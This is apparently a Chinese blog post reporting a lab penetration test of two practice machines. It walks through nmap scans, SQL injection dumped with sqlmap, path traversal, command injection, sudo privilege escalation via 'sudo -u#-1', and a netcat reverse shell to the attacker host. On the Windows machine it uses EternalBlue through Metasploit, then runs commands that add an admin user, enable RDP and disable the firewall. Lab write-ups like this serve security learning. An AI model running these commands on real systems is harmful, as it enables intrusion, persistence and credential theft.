20201216靶机渗透测试报告

 

0x00  环境

两台靶机:取自某小型企业主机

  1. Server : Linux

  2. Desktop : win

如图:

 

 

 

一台攻击机:kali Linux(自装)

README附件:

 

 

 

环境配置:

根据README文档,先把两台靶机和一台攻击机放在192.168.8.0/24上,并且网络连接方式都采用NAT模式。

0x01  渗透过程——Server

此时,我的虚拟机只开了一台kali,以及一台server靶机。下面的操作均在kali进行。

首先用nmap扫192.168.8.0/24并进行主机操作系统识别。

执行命令:

nmap -O 192.168.8.0/24

 

 

 结果分析:这是一个Linux系统,初步可以判断这是server服务器了。因此该server的ip:192.168.8.2

 

nmap 192.168.8.2 -sV

 

 

 对该主机进行端口服务及其版本扫描,得到以上结果。

 

因我是主攻web的菜鸡选手,所以我首先对80端口进行渗透。

一、80端口:

首先,用浏览器浏览192.168.8.2。

 

 

 对打开zap或者burp使用被动扫描,手动浏览所有可浏览的页面。

发现在http://192.168.8.2/reports.php下,有可疑的sql注入点。

 

 

 在password表单中输入:' or 1=1#

成功登陆。成功验证存在sql注入漏洞。基于效率考虑,漏洞利用使用sqlmap进行。

sqlmap -u http://192.168.8.2/reports.php  --forms

 

 

 发现有两个注入点(补充了手动挖掘,不止password参数有注入点,login参数也有注入点):

 

 

 

查找当前数据库和当前用户:

sqlmap -u http://192.168.8.2/reports.php  --forms --current-db --current-user

 

 

 结果:当前用户:company@localhost

   当前数据库:company

 

查找所有表:

sqlmap -u http://192.168.8.2/reports.php  --forms --tables

company数据库:

 

 

 

information_schema数据库:

 

 

 

 

 

 一步到位直接dump

sqlmap -u http://192.168.8.2/reports.php  --forms -D company -T users --columns --dump

直接查到company数据库下的users表下的所有列:

 

 

 以及表里的值:

 

 

 得到结果:

login=jjones&password=babygirl

login=mjones&password=tigger

输入一下命令:

 

sqlmap -u http://192.168.8.2/reports.php  --forms --os-shell

 

 

 

 发现不可以进行sql注入拿shell。

接下来用zap进行了主动扫描,额外发现了一个反射型xss漏洞。

同样的,在sql注入点,也存在xss漏洞,如下图提交post参数:

 

 

 

 

 

 不行了,找不到了,80端口先告一段落。

 

二、139、445端口:

能查的漏洞都查了,能尝试的都试过了,脖子都酸了。无进展,转到Desktop看看。

 

0x02  渗透过程——Desktop

首先,用nmap查desktop主机的ip地址,用以下命令:

 

nmap -O 192.168.8.0/24

 

 

 

 看到这里可以确定,desktop主机的ip地址是:192.168.8.60

使用以下命令查看更详细的信息:

nmap 192.168.8.60 -A -oN Desk_nmap_A.txt

输出的Desk_nmap_A.txt如下:

# Nmap 7.80 scan initiated Thu Dec 17 00:46:37 2020 as: nmap -A -oN Desk_nmap_A.txt 192.168.8.60
Nmap scan report for 192.168.8.60
Host is up (0.00043s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 00:0C:29:10:02:00 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: Host: WIN-USPQ65TE72P; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WIN-USPQ65TE72P, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:10:02:00 (VMware)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: WIN-USPQ65TE72P
|   NetBIOS computer name: WIN-USPQ65TE72P\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-16T16:46:51+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-16T16:46:51
|_  start_date: 2020-12-16T16:35:05

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.8.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 17 00:47:30 2020 -- 1 IP address (1 host up) scanned in 53.10 seconds

发现445端口正在运行microsoft-ds,执行以下命令:

nmap --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.8.60

 

 

 极大可能存在CVE-2017-0143漏洞。

打开msfconsole,使用exploit/windows/smb/ms17_010_eternalblue漏洞模块,set RHOST以后,exploit。

即可拿到shell。如图:

 

 

 

 

 

 

 

 接下来就是想办法提权

1.添加新用户:

 

net user kangel 2314838574 /add

 

2.添加新用户到管理员组

net localgroup administrators kangel /add

3.开放3389端口进行远程连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

4.关闭防火墙(不关闭,无法进行接下来的远程连接)

NetSh Advfirewall set allprofiles state off 

 

 5.打开一台新的win7虚拟机,进行远程连接。

 

 成功!!!

 

0x03  渗透过程——server

由于刚才对server的渗透还没getshell,于是再次回到server靶机。

通过上述的远程桌面,在desktop上能看到一个desktop和server的共享文件夹,如下图:

 

 于是猜测下图这里会有目录穿越读取:

 

把report参数设为../../../../../etc/passwd,如下图:

 

 

 成功读取,证明存在任意文件读取:

 

 于是查看reports.php看看,首先看看/proc/self/cmdline:

 

 发现网站目录在/var/www/html,于是查看/var/www/html/reports.php:

 

 由上图可知道,是命令执行,拼接到$report上,所以存在命令执行漏洞。

现在等于拿到了shell了,但权限还不是root。

于是下面进行提权。

 

在这里,贴上一位大佬的提权方法:https://blog.csdn.net/whoim_i/article/details/104720827

下面是我结合这位大佬的方法进行提权:

 

首先,在命令执行检验上方链接的提权方法,report参数为:

;sudo -u#-1 id -u

结果如下:

 

 好家伙成功了!

 

然后,我在desktop上写一个shell脚本,内容是:

#!/bin/bash
nc 192.168.8.3 333 -c bash

192.168.8.3是我的kali的地址,这里用nc传shell。

然后在burp上的命令执行把这个shell文件复制到/var/www/html下,对了,共享文件夹用ls -l命令看到,reports的目录在这:

 

所以命令执行(结合提权命令):

;sudo -u#-1 cp /samba/anonymous/reports/ohuo.sh yeah.sh

然后再ls -l看一眼,成功复制过来,如下图:

 

 接下来就到了激动人心的用nc连shell了!!

先在kali上用nc侦听:

nc -lp 333

然后命令执行运行yeah.sh:

;sudo -u#-1 sh yeah.sh

结果如下:

 

 成功!!!!!!!

 

yeah~洗洗睡

posted @ 2020-12-17 13:17  M4ny1u  阅读(729)  评论(1编辑  收藏  举报

Email: imanyiu12@foxmail.com